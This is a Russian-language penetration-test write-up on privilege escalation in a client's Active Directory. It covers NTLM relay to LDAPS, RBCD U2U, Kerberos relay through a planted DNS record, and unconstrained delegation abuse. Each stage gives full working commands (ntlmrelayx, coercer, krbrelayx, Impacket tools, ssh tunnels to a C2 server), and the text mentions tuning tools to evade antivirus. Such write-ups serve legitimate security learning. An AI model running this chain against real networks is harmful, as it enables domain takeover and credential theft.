
Всем привет! Возвращаемся к рассказу об одном увлекательном пентесте. В предыдущей части мы смогли при помощи фишинговой рассылки через учётку пользователя в Exchange получить доступ во внутреннюю инфраструктуру клиента. Эта часть будет про поднятие привилегий в домене.
Пентестерская Одиссея. Часть 1
Первый локальный администратор
Теперь нужно было более широко взглянуть на поверхность атаки. Одной из самых популярных разновидностей атак в Active Directory последние лет 5 является NTLM-relay. Для успешного выполнения непосредственно самой атаки требуется наличие уязвимой конфигурации протоколов клиента (от кого мы пересылаем запрос на NTLM-аутентификацию) и сервера (куда пересылаем). Под уязвимой конфигурацией подразумевается отсутствие включённых механизмов подписи или EPA. Ниже на картинке можно увидеть популярную таблицу, которая демонстрирует с какого на какой протокол и при каких конфигурациях возможно осуществить атаку NTLM-relay.

Чаще всего в атаках используют уязвимости, которые принуждают серверы аутентифицироваться на произвольный IP‑адрес(так называемые Coerce‑атаки), например, PetitPotam. Это позволяет не проводить сетевые атаки на L2/L3 и различные отравления.
Типичными сценариями для данной атаки являются:
Релей в AD CS при наличии включённого Web Enrollment (HTTP) или IPRC (RPC). Это как правило позволяет выпустить сертификат по шаблону Machine или User на учётную запись, которую мы релеим. При наличии уязвимого шаблона сертификата иногда позволяет эскалировать привилегии сразу до доменного администратора. Не говоря уже о возможности выпуска сертификата от имени контроллера домена (КД), если сетевая видимость и конфигурация КД позволяют.
Релей в LDAP/LDAPS на КД. Успешная атака позволяет получить подключение к LDAP от имени учётки, которую релеим, а затем редактировать атрибуты подконтрольного объекта. Самая частая вариация атаки — это RBCD.
Релей в SMB. В самом удачном сценарии это позволит исполнять команды от локального администратора на целевой машине, если позволят антивирус и привилегии учётки, которую релеим.
Сканирование конфигурации потенциальных целей показало:
На ADCS Web Enrollment включен, но выпуск сертификатов ограничен, а IPRC имеет безопасную конфигурацию.
Машинных аккаунтов, которые являлись локальными администраторами на других серверах, нет.
LDAP и LDAPS имеют уязвимую конфигурацию — нет принудительного использования подписей. Бинго!
Если захотите проверить конфигурацию LDAP на своём проекте, запустите утилиту netexec с модулем ldap-checker.
netexec ldap DC_IP -u 'user' -p 'password' -d domain.local -M ldap-checker
Однако, как я выше писал, для этой атаки нужно второе условие — клиент, которого мы будем релеить. Он должен обладать уязвимой конфигурацией протокола, по которому он будет отправлять NTLM‑аутентификацию. И вот тут я умолчал один важный факт: мы можем принудить машину к NTLM‑аутентификации только на протоколы SMB и HTTP. В домене было предостаточно серверов без SMB‑signing, вот только для ловли и релея NTLM нам нужно иметь возможность прослушивать порт 445.
Как и ожидалось, агенты ligolo были запущены пользователями с низкими привилегиями, а это означало, что мы могли слушать только порты выше 1023. Увы, заставить отправить NTLM на произвольный порт в случае с принуждением аутентификации (Coerce) по SMB нельзя. Но по HTTP можно. Правда, это значительно сужает количество потенциальных целей, поскольку принудить ходить к нам машину по HTTP можно только в том случае, если на ней запущен сервис WebClient.
А ещё нам нужно, чтобы у цели, на которую будет аутентифицироваться атакуемая машина, была DNS‑запись A типа, но это условие уже было выполнено, поскольку агенты были запущены на уже существующих (как ни странно) машинах в домене.
Для поиска запущенных WebClient я использовал утилиту webclientservicescanner. После получения списка потенциальных целей и их анализа можно было проводить атаку. Ранее было упомянуто, что самая частая вариация данной атаки — это RBCD. Классическая RBCD через NTLM‑relay предполагает следующее: после проведения атаки и получения LDAP‑сессии от имени машинной учётной записи мы редактируем атрибут «msDS‑AllowedToActOnBehalfOfOtherIdentity» этой же машинной учётной записи. Это право есть у машинных учётных записей по умолчанию. Под редактированием я подразумеваю прописывание подконтрольной машинной учётной записи в этот атрибут, а затем использование прописанной учётки для имперсонирования других пользователей. Однако, как вы помните, у нас нет подконтрольной машинной учётной записи, зато имеется внушительный список захваченных пользовательских аккаунтов.
Это досадное ограничение можно обойти при помощи варианта атаки, который называется RBCD U2U. По ссылке доступно очень исчерпывающее описание, поэтому не будем останавливаться на подробностях. Для этой вариации нам нужно будет менять пароль пользователя, поэтому если вы захотите попробовать эту атаку на своём пентесте, не забудьте согласовать это с заказчиком.
Далее нужно было выбрать цель атаки (кого будем релеить). К сожалению, очень ценных серверов (КД, с сессиями ДА или с правами Unconstrained Delegation) и одновременно с включённым WebClient не было. Поэтому в качестве первой цели был выбран один из рядовых терминальных серверов. На тот момент мотивация выбора была следующая:
Возможность собрать учётные данные, которые есть на машине
Получение сетевого доступа к другим машинам в домене, которые пока не видны нам
Машина, на которой у нас есть права локального администратора, позволит улучшить условия для проведения NTLM-relay или ловли хэшей (на случай наличия NetNTLMv1 у серверов)
Теперь у нас почти всё готово для NTLM-relay. Последним штрихом осталась схема проброса. Без преувеличения скажу, что она сложная, поэтому в объяснении будут упрощения. Например, я опущу описание VPN-like туннеля, поскольку оно было уже сделано на прошлой схеме, а дополнительные детали перегрузят изображение.
Вот так выглядит схематическое изображение атаки NTLM-relay для нашего сценария.

На схеме фигурируют следующие серверы:
Attacker — наша атакующая машина/мой ноутбук.
C2-server — сервер ligolo с развёрнутым OpenVPN.
ligolo-agent.domain.local
— машина в инфраструктуре, на которой запущен агент ligolo. Через неё мы имеем доступ в инфраструктуру. (см схему в предыдущей части)victim.domain.local
— атакуемая машина.dc.domain.local
— контроллер домена.
Сначала мы поднимаем листенер TCP-порта 1337 на агенте ligolo (сервер ligolo-agent.domain.local
) и перенаправляем трафик с него на 127.0.0.1:8082 нашего C2-сервера. В ligolo команда выглядит следующим образом:
listener_add --addr agent_ip:1337 --to 127.0.0.1:8082
Далее мы создаём ssh-сессию между Attacker и C2-server с пробросом 127.0.0.1:8082 C2-сервера на 127.0.0.1:80 нашей атакующей машины. Команда ssh продемонстрирует это гораздо лаконичнее.
ssh -i ~/.ssh/my_key -R 127.0.0.1:8082:127.0.0.1:80 root@c2.domain.com
Также на Attacker мы поднимаем ntlmrelayx для перенаправления NTLM-аутентификации на LDAP у КД и сразу же указываем прописываемого в атрибут пользователя.
ntlmrelayx.py -t ldaps://dc.domain.local --no-validate-privs --delegate-access --escalate-user user -smb2support -codec cp866
Затем при помощи утилиты Coercer мы принуждаем машину victim.domain.local
к аутентификации на подконтрольный нам сервер ligolo-agent.domain.local
на порт 1337. Это можно сделать через следующую команду.
coercer coerce -u user -d 'domain.local' -p 'pass' -t victim.domain.local -l ligolo-agent.domain.local --auth-type http --http-port 1337
Осталось дождаться прилёта NTLM-challenge от машины victim.domain.local.
Вот так выглядит результат атаки.

В начале меня смутило наличие сообщения о том, что у машинной учётки недостаточно прав для редактирования своих атрибутов. Честно говоря, это на некоторое время сбило меня с толку. Совершенно случайно после повторного сбора информации о делегировании в домене я увидел, что мой пользователь прописался в атрибут. После этого я взял себе за правило вручную проверять достоверность сообщений некоторых утилит.
Теперь можно пробовать получить доступ к атакованному серверу. Осталось выполнить ряд несложных манипуляций. Все утилиты ниже взяты из Impacket.
Выпускаем TGT на имя прописанного пользователя. Важное замечание: в качестве фактора аутентификации нужно указывать NT-хэш, чтобы тикет выпустился с etype 23, в противном случае есть шанс выпустить тикет не с тем etype, и атака не сработает. Очевидно, что домен должен иметь поддержку этого etype.
getTGT.py -hashes :$(pypykatz crypto nt 'password') domain.local/user -dc-ip dc_ip
Извлекаем из выпущенного TGT сессионный ключ, на скрине с примером (отмечен красной рамкой на скриншоте ниже).
describeTicket.py user.ccache

Теперь нам нужно поменять пользователю пароль на этот сессионный ключ от TGT.
changepasswd.py -protocol smb-samr domain.local/user:'password'@dc.domain.local -newhashes :hash
После этого мы можем выпустить с использованием TGT с первого шага TGS на SPN
host/victim.domain.local
и имперсонировать пользователя с привилегиями локального администратора на victim.
export KRB5CCNAME=user.ccache
getST.py -u2u -impersonate "victim_local_admin" -spn "host/victim.domain.local" -k -no-pass domain.local/user
В случае с Kerberos помните важное правило: протокол крайне чувствителен к регистру имён в тикетах. Рекомендуется указывать все имена в одинаковом регистре, а лучше всего — именно так, как они записаны на DNS-серверах домена.
Наконец-то мы можем постучаться с привилегиями на атакуемую машину.
export KRB5CCNAME=victim_local_admin@user@domain.local.ccache
wmiexec.py domain.local/victim_local_admin@victim.domain.local -k -no-pass
И получить по рукам от самого распространённого в СНГ антивирусного решения, если мы предварительно не затюнили impacket.
Я затюнил, поэтому можем хозяйничать на victim. Добавляем другого подконтрольного пользователя в группу локальных администраторов для последующего удобного доступа по RDP.

Практически шаг до доменного администратора
У нас появились привилегии локального администратора на одной из рабочих станций домена. Теперь мы можем слушать абсолютно любые порты, а значит, и SMB в том числе. Среди серверов с правами Unconstrained Delegation нашёлся один с подходящей нам конфигурацией (включен SMBv1 и отключен signing). А самое главное, что NTLM-challenge этого сервера доходит до захваченной ранее рабочей станции. Уже представляя эпичное (а главное лёгкое) повышение привилегий, я побежал настраивать всё для проброса с порта 445 на рабочей станции и релея с SMB на LDAP.
Для начала подключимся по RDP к victim.domain.local
и запустим grdp2tcp (хорошая реализация rdp2tcp на Go).
xfreerdp /f /u:'user_2' /p:'pass' /d:'domain.local' /v:victim_ip +clipboard /rdp2tcp:/path/to/grdp2tcp/client
На victim.domain.local
в рамках текущей RDP сессии запускам сервер grdp2tcp в консоли powershell.
.\server.exe
Просто так пробросить порт 445 не получится. Если очень кратко, то данный порт уже слушается сервисом LanmanServer, его можно выключить, однако, придётся перезагружать рабочую станцию. Есть решение, которое позволяет этого не делать, но о нем я узнал уже под конец проекта. Помимо отключения LanmanServer можно при помощи windivert-based утилит перехватить пакет на уровне ядра и перенаправить в нужное место. Так мы и сделаем. Кстати, очень советую статью с разбором этой проблемы.
Для проброса используем утилиту StreamDivert. Закидываем её на хост, прописываем в конфигурационный файл нужную настройку и запускаем.
powershell -c "Add-Content conf.txt 'tcp < 445 victim_ip -> 127.0.0.1 8445'"
.\StreamDivert.exe .\conf.txt -f -v
Теперь нам надо настроить листнер на grdp2tcp, который будет перебрасывать NTLM-аутентификацию с 127.0.0.1:8445 у victim на 127.0.0.1:445 нашей атакующей машины. С помощью утилиты из репозитория с grdp2tcp делаем это.
fwdctrl reverse add -l 127.0.0.1:445 -r 127.0.0.1:8445
Схема проброса будет выглядеть примерно так. VPN-like туннель и C2-сервер на схеме опущены.

На атакующей машине запускаем ntlmrelayx.
ntlmrelayx.py -t ldaps://dc.domain.local --no-validate-privs --delegate-access --escalate-user VICTIM$ -smb2support -codec cp866
Только в этот раз я решил использовать классическую вариацию атаки RBCD, чтобы больше не менять пароли пользователям, поэтому указал машинную учётку VICTIM$. Эту учётку мы сможем легко получить дальше, просто сдампив LSA на victim.domain.local
. Далее запускаем Coercer для принуждения к аутентификации.
coercer coerce -u user -d 'domain.local' -p 'password' -t unconst_deleg.domain.local -l victim_ip
NTLM-challenge долетает до нас, мы его пересылаем, сессия устанавливается и ничего не происходит, только выводится сообщение об ошибке. Уже наученный горьким опытом я снова собираю информацию о делегировании и вижу, что ничего не изменилось в сравнении с последним разом. Значит, надо смотреть напрямую в каталог.
Есть множество способов: от голых ldap-запросов, до красивых браузероподобных утилит. Мне нравится последняя категория, поэтому воспользуемся godap. Вот так выглядит интерфейс утилиты.

Через неё я смотрю права учётной записи unconst_deleg$ и обнаруживаю, что прав на редактирование своих атрибутов нет. Я перебираю весь список серверов с правами Unconstrained Delegation и обнаруживаю, что ни у одного из них нет таких прав (не считая контроллеров домена, но у них просто включены SMB-signing). Ситуация очень похожа на тупиковую и по всей видимости придётся идти на крайние меры, поскольку идеи практически кончились.
Действительно сложная атака
Несколько лет назад исследователи обнаружили, что не только NTLM можно релеить. В 2021 году у Google Project Zero вышла статья Using Kerberos for Authentication Relay Attacks, в которой описано каким образом возможно осуществить Kerberos-relay. Затем постепенно начали появляться PoC’и и практические статьи. К сожалению, от этого легче понять атаку не становилось. В итоге я нашёл статью автора одного из PoC’ов, которая помогла разобраться (хотя бы в общих чертах) в этой атаке. Очень рекомендую к прочтению.
Kerberos-relay очень выгодно отличается от своего старшего брата тем, что он позволяет релеить машину саму на себя, а с точки зрения конфигурации атакуемого хоста практически ничего не отличается. Существует множество вариаций этой атаки, меня интересовала та, в которой не требуется осуществлять различные poisoning атаки. В двух словах (и очень грубо) об этой вариации: как я уже говорил ранее, Kerberos оперирует доменными именами. Если учётная запись пробует аутентифицироваться на сервере с доменным именем target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.domain.local
и, допустим, на сервис CIFS этого сервера, то она отправит на этот сервер AP_REQ на службу c SPNCIFS/target.domain.local
И этот AP_REQ можно перенаправить к желаемому серверу (если этот желаемый сервер target.domain.local
). В случае отсутствия signing’ов мы сможем аутентифицироваться от имени учётной записи, от которой перехватили AP_REQ.
И вот у нас имеется очень желанный сервер с правами Unconstrained Delegation и с плохо настроенным SMB-signing. Нам остаётся только добавить нужную DNS-запись типа A для подконтрольной машины Victim и заставить аутентифицироваться на ней нашу цель. Команда для добавления DNS-записи для утилиты из репозитория krbrelayx.
python dnstool.py -u 'domain.local\\user' -p 'pass' -dc-ip dc_ip -dns-ip dc_ip --tcp -force-ssl -port 636 -r 'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d 'victim_ip' --action add dc.domain.local
В домене у всех пользователей по умолчанию есть право на добавление DNS записей. На это надеялся и я. После проверки нескольких пользователей на наличие такого права мой оптимизм начал угасать. Как можно было предположить, у рядовых пользователей это право отсутствовало.

Однако, опыт подсказывал, что безопасники часто забывают про машинные учётки, поэтому я сразу полез проверять их права и, как оказалось, я не ошибся.

После добавления DNS записи оставалось только повторить подготовку проброса портов из прошлой части статьи. Также для принуждения аутентификации по Kerberos в качестве листнера у Coercer нужно указывать доменное имя. Им как раз сервер и будет оперировать. Вместо ntlmrelayx запускаем утилиту для релея Kerberos, которая называется krbrelayx.
python krbrelayx.py -t smb://unconst_deleg.domain.local -no-smb2support
Осталось запустить Coercer, что мы и делаем. Снова что-то пошло не так.

Ошибка krbrelayx говорит, что нам по всей видимости прилетел NTLM-challenge (и он его не обрабатывает), а не AP_REQ от Kerberos. При этом, если в Coercer указать оригинальное доменное имя victim.domain.local, то всё работает как задумано (кроме финала атаки, конечно). В разделе issues репозитория утилиты я нашёл ошибку с таким же названием, однако её описание не соответствовало моей ситуации.
Дальнейший анализ трафика выявил, что во время установки SMB-сессии моя сторона (сторона krbrelayx) в сообщении SMB2 NEGOTIATE Response
отправляет список поддерживаемых типов аутентификации.

По всей видимости, придётся исправлять это руками. Читаем код, находим строки, в которых предоставляется выбор типа аутентификации.

Теперь krbrelayx не должен будет предлагать NTLM и атака должна будет пройти как задумано. Стреляем из Coercer, ловим теперь уже AP_REQ и пересылаем его обратно.
Ура, мы получили привилегированную SMB-сессию и krbrelayx сдампил секреты SAM, среди которых был хэш пароля локального администратора unconst_deleg.domain.local
.

Дампим Kerberos-ключи машины unconst_deleg.domain.local
, они нам позволят воспользоваться привилегиями Unconstrained Delegation. Также добавляем подконтрольного пользователя в локальные администраторы, ведь нам понадобится RDP-сессия для удобного пивотинга, как в предыдущем сценарии.
Финальное злоупотребление привилегиями
На данный момент у нас есть Kerberos-ключи от учётной записи UNCONST_DELEG$, которая обладает правами Unconstrained Delegation. Сам по себе механизм неограниченного делегирования заключается в возможности одного субъекта (компьютера, сервиса или пользователя) выдавать себя за любого другого пользователя любому другому субъекту. Правда, сначала пользователь должен произвести Kerberos-аутентификацию на субъекте с такими правами. После такой аутентификации субъект с правами Unconstrained Delegation получает TGT от другого пользователя. В случае с сервером, TGT сохраняется в памяти.
Оперировать TGT из памяти сервера могут такие утилиты, как Rubeus. Пример эксплуатации с ним можете прочесть по ссылке, но у меня не было никакого желания тащить бинарный файл на систему, поэтому злоупотреблять механизмом неограниченного делегирования будем при помощи krbrelayx.
Подготавливаемся к пробросу по аналогичной схеме, которую мы использовали на прошлом шаге, только вместо Victim мы устанавливаем RDP-сессию с Unconst_deleg. На своей атакующей машине запускаем krbrelayx с параметром aesKey, в котором укажем AES Kerberos-ключ учётки UNCONST_DELEG$.
python krbrelayx.py -aesKey 'aeskey'
При помощи Coercer заставляем аутентифицироваться контроллер домена на сервере unconst_deleg.domain.local
, естественно, указывая доменное имя, чтобы аутентификация происходила по Kerberos.

Наконец-то мы получили TGT контроллера домена, что практически равносильно поднятию привилегий до доменного администратора. С этого момента начался этап постэксплуатации, основная цель которого — продемонстрировать заказчику реальный бизнес-импакт полученного доступа. Для этого было необходимо скомпрометировать критически важные для функционирования бизнес-процессов сервисы, данные и компоненты информационной инфраструктуры.
